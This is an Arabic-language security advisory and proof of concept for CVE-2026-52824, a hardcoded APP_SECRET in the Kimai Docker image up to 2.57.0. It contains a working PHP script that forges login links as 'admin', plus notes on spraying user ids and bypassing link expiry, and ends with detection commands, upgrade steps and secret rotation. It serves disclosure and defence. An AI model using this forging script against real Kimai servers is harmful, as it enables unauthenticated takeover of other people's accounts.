
تحليل فني وإثبات مفهوم لـ CVE-2026-52824: APP_SECRET الافتراضي في صورة Kimai Docker مما يتيح تزوير روابط تسجيل الدخول غير المصادق عليها. يؤثر على الإصدارات <= 2.57.0، تم إصلاحه في 2.58.0.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-52824 |
| النشرة الأمنية | GHSA-jr9p-4h4j-6c58 |
| الخطورة | حرجة |
| CWE | CWE-1188, تهيئة مورد بقيمة افتراضية غير آمنة |
| الإصدارات المتأثرة | kimai/kimai <= 2.57.0 |
| الإصدار المُصحَّح | 2.58.0 |
| تاريخ نشر النشرة الأمنية | 2026-06-11 |
| أُضيفت إلى قاعدة بيانات GitHub Advisory | 2026-07-14 |
| المُبلِّغ | AzureADTrent |
صورة Kimai الرسمية لـ Docker صدرت مع APP_SECRET مضمّن (hardcoded). تتحوّل هذه القيمة إلى kernel.secret في Symfony، والذي يوقّع روابط تسجيل الدخول، وملفات تعريف الارتباط الخاصة بتذكّر الجلسة (remember-me)، وروابط إعادة تعيين كلمة المرور، ورموز CSRF. وبما أن توقيع رابط تسجيل الدخول في Kimai كان يغطي فقط id الخاص بالمستخدم، فإن مهاجمًا غير مصادق يمتلك السر المعروف يمكنه حساب رابط تسجيل دخول صالح دون اتصال وتوثيق نفسه كأي مستخدم.
يضبط Dockerfile:263 ما يلي:
ENV APP_SECRET=change_this_to_something_unique
يستهلك config/packages/framework.yaml:7 هذه القيمة كـ kernel.secret:
secret: '%env(APP_SECRET)%'
لم يقم .docker/entrypoint.sh بأي فحص للقيمة الحارسة (sentinel value)، وشحَن .env.dist:38 القيمة الافتراضية نفسها لعمليات التثبيت المباشر على الخوادم (bare-metal). ولم توجد آلية حماية عند الإقلاع ترفض التشغيل بالقيمة الافتراضية.
لذا فإن أي نشر عبر Docker لم يتجاوز APP_SECRET صراحةً كان يعمل بمفتاح توقيع معروف عمومًا.
يستهلك Kimai رابط تسجيل الدخول عند /en/auth/link/check مع معاملات user وexpires وhash. قيمة hash هي HMAC بطول 44 حرفًا مدمجة مباشرةً مع تجزئة الحقول بطول 44 حرفًا، بما يطابق acceptSignatureHash()، التي تقسم عند الإزاحة 44.
<?php
$secret = 'change_this_to_something_unique';
$username = 'admin';
$userId = 1;
$expires = time() + 360;
// signature_properties: ['id']
// $userId is passed as an int, mirroring what PropertyAccessor hands to
// base64_encode() upstream. Under declare(strict_types=1) this needs an
// explicit (string) cast; the coercion is what the framework itself relies on.
$ctx = hash_init('sha256');
hash_update($ctx, ':' . base64_encode($userId));
$fieldsHash = strtr(base64_encode(hash_final($ctx, true)), '+/=', '-_~');
// generateHash(fieldsHash:expires:userIdentifier)
$input = $fieldsHash . ':' . $expires . ':' . $username;
$signatureHash = strtr(base64_encode(hash_hmac('sha256', $input, $secret, true)), '+/=', '-_~');
$hash = $signatureHash . $fieldsHash;
$url = "/en/auth/link/check?user=" . urlencode($username)
. "&expires=" . $expires
. "&hash=" . $hash;
echo "Forged login link:\n$url\n";
يؤدي الطلب الناجح إلى إرجاع استجابة 302 وتعيين ملف تعريف ارتباط KIMAI_REMEMBER لحساب الهدف.
expires يقع داخل HMAC وهو تحت سيطرة المهاجم، ولا يرفض التحقق سوى الطوابع الزمنية المنتهية بالفعل — يختبر verifySignatureHash() الشرط $expires < time() فقط ولا شيء غيره. lifetime: 900 المُعدّلة تحكم توليد الرابط فقط ولا تُستشار أبدًا أثناء التحقق، لذا يمكن لرابط مُزيّف أن يحمل تاريخ انتهاء بعيدًا بشكل تعسفي.
max_uses: 3 لا صلة له أيضًا. يحدّ إعادة استخدام رابط صادر واحد؛ بينما يصنع المهاجم رابطًا جديدًا في كل محاولة.
تسرد النشرة الأمنية ثلاثة شروط مسبقة: معرفة اسم المستخدم، وتخمين معرّف الحساب الصحيح، وعدم وجود 2FA نشط على الحساب.
عمليًا هذه الشروط ضعيفة. معرّفات المستخدمين تسلسلية تبدأ من 1، وعادةً ما يكون أول super_admin هو المعرّف 1، وكل محاولة هي طلب GET واحد غير مصادق. يمكن رشّ فضاء أسماء المستخدمين والمعرّفات. المصادقة الثنائية (2FA) هي الشرط الوحيد الذي يصدّ الهجوم بشكل فعّال.
فحوصات محلية:
docker exec <container> printenv APP_SECRET
docker exec <container> cat /opt/kimai/.env.local
docker exec <container> ls -l /opt/kimai/var/data/.appsecret
وجود APP_SECRET حارس دون ملف .appsecret يشير إلى نشرٍ معرّض للخطر.
قم بالترقية إلى الإصدار 2.58.0 أو أحدث. يتضمّن الإصلاح:
APP_SECRET الافتراضي من Dockerfilebin2hex(random_bytes(32))، ويخزّنه في /opt/kimai/var/data/.appsecret، ويكتبه إلى /opt/kimai/.env.localإذا لم تتمكن من الترقية فورًا، اضبط سرًا فريدًا عالي الإنتروبيا صراحةً:
docker run -e APP_SECRET=$(openssl rand -hex 32) ...
تدوير APP_SECRET يُبطل ملفات تعريف الارتباط الحالية لتذكّر الجلسة، وروابط إعادة تعيين كلمة المرور المعلّقة، ورموز CSRF قيد الاستخدام؛ وسيحتاج المستخدمون إلى تسجيل الدخول مجددًا. من الآمن تنفيذ التدوير وإبطال الجلسات بغض النظر عن إمكانية تأكيد التعرض للخطر. المشغّلون غير القادرين على تحديد حالتهم عليهم التدوير بدلًا من الافتراض.
projectdiscovery/nuclei-templatesحُجب هذا التقرير حتى أصبحت الآلية معلنة بشكل مستقل.